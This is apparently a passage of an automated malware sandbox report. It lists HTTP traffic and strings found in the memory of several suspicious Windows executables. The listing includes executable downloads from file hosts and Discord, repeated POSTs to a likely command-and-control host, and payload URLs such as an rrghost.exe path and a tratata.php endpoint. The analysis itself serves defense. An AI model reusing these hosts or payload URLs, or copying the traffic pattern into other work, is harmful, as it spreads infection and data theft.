Source: global traffic	HTTP traffic detected: GET /attachments/914960103592054858/914961866462232616/Oldening.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yubswhv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jmuwhyhn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://piyyyphtem.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://llalic.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://higvbe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 283Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nvrwtjsdku.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/8723_1638191106_2017.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mojyvpeoe.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 334Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yaoomuahu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dgpnslqhh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gbbxygekjk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 231Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://namawqf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 308Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://smpro.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ieqswdu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vneyujlfl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 255Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://viqgctnic.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xpkskgrr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kdyponywr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rxdwffwjbf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 136Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://molwdgi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 231Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6096_1638289274_6885.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gghke.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dpsjrby.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mlwynhpbb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 272Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://njupmvh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mjghwr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 346Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://unuta.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 254Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fucabofxh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://guasgjf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-7000.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bfwtp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pubplnqymd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xwkfccuhh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 126Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vndygv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wyjxomh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mdthdprqu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/4152_1638095425_4339.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qpiidyh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mgjqknucl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 178Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ehiesag.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eyepuy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lqyvwperx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://omcxl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vhude.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/5311_1638303032_7343.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rxjdalrcm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wxhnpjysno.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tiketfrip.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://srvivkc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 194Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jjguoq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 261Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ysemel.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dagsykb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://owgeqjie.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 143Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rvwnoilj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ggqrkginit.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vutak.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 194Host: host-data-coin-11.com

Source: global traffic

TCP traffic: 192.168.2.3:49850 -> 45.9.20.149:42871

Source: C169.exe, 00000017.00000002.597347533.0000000002F77000.00000004.00000001.sdmp	String found in binary or memory: http://95.181.152.139
Source: C169.exe, 00000017.00000002.593626249.0000000002CE0000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.597347533.0000000002F77000.00000004.00000001.sdmp	String found in binary or memory: http://95.181.152.139/rrghost.exe
Source: C169.exe, 00000017.00000002.597347533.0000000002F77000.00000004.00000001.sdmp	String found in binary or memory: http://95.181.152.1394
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: C169.exe, 00000017.00000002.597768606.0000000002FB3000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com
Source: C169.exe, 00000017.00000002.605280039.0000000006871000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.557402199.000000000489F000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000002.567233290.000000000489F000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: AA02.exe, 00000016.00000002.528893220.00000000008FB000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/sqlite3.dlleT&f
Source: AA02.exe, 00000016.00000002.528893220.00000000008FB000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/sqlite3.dllpTSf
Source: AA02.exe, 00000016.00000002.528731887.00000000008E7000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/tratata.php
Source: AA02.exe, 00000016.00000002.528731887.00000000008E7000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/tratata.phpL
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, D375.exe, 0000001A.00000003.520610995.0000000001576000.00000004.00000001.sdmp, D375.exe, 0000001A.00000003.520807500.0000000001576000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: AA02.exe, 00000016.00000002.528893220.00000000008FB000.00000004.00000001.sdmp	String found in binary or memory: http://hose-file-host4.com/sqlite3.dll
Source: AA02.exe, 00000016.00000002.529782826.000000000094E000.00000004.00000001.sdmp	String found in binary or memory: http://hosile-file-host4.com/tratata.php
Source: C169.exe, 00000017.00000002.605485647.00000000068A5000.00000004.00000001.sdmp	String found in binary or memory: http://microsoft.co
Source: A70A.exe, 0000000B.00000002.599445868.000000000345C000.00000004.00000001.sdmp	String found in binary or memory: http://ns.ado/1
Source: A70A.exe, 0000000B.00000002.599445868.000000000345C000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.c/g
Source: A70A.exe, 0000000B.00000002.599445868.000000000345C000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.cobj
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
